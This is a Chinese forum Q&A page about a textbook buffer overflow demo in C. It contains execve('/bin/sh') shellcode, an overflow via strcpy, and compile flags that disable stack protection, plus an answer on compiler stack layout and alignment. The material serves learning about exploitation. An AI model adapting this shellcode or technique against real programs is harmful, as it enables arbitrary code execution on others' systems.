缓冲区溢出攻击在使用 clang 编译时起作用,但在使用 gcc 编译时不起作用

问题描述 投票:0回答:1
char shellcode[] = "\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        ";
 
char large_string[128];
 
void main() { 
    char buffer[48];
    int i;
    long *long_ptr = (long *) large_string;
    
    for(i=0; i < 32; ++i) // 128/4 = 32
        long_ptr[i] = (int) buffer;
 
    for(i=0; i < strlen(shellcode); i++){
        large_string[i] = shellcode[i];
    }
    
    strcpy(buffer, large_string);
}

上面是执行缓冲区溢出攻击的示例代码,使用 clang 编译时可以工作,但使用 gcc 编译时则不行。我认为问题出在数组对齐上。使用编译标志 -mpreferred-stack-boundary=2 时,程序可以在 gcc 中运行。但是是否有另一种不使用 -mpreferred-stack-boundary=2 的解决方案?

我们可以在代码本身中修复内存对齐问题吗?

我用于 gcc 和 clang 的编译器标志是

-w -m32 -g -fno-stack-protector -z execstack -O0

c gcc clang buffer-overflow
1个回答
0
投票

这是

main
函数运行时的堆栈布局:

  • 临时工
  • 以任意顺序:
    • 对齐,
      buffer
    • 对齐,
      i
    • 对齐,
      large_string
  • 对齐
  • 返回地址(由调用者推送)
  • argc
    (由调用者推送)(即使您声明不带参数的
    main
  • argv
    (由调用者推送)(即使您声明不带参数的
    main

编译器可以自由选择局部变量的顺序,也可以自由选择对齐量。

shellcode 与一个编译器一起工作的原因是它对局部变量的顺序和对齐量做出了特定的假设。

通常,漏洞利用 shellcode 是为特定的预编译二进制可执行文件编写的,其中这些代码已经由编译器生成,并通过反汇编输出显示。

© www.soinside.com 2019 - 2024. All rights reserved.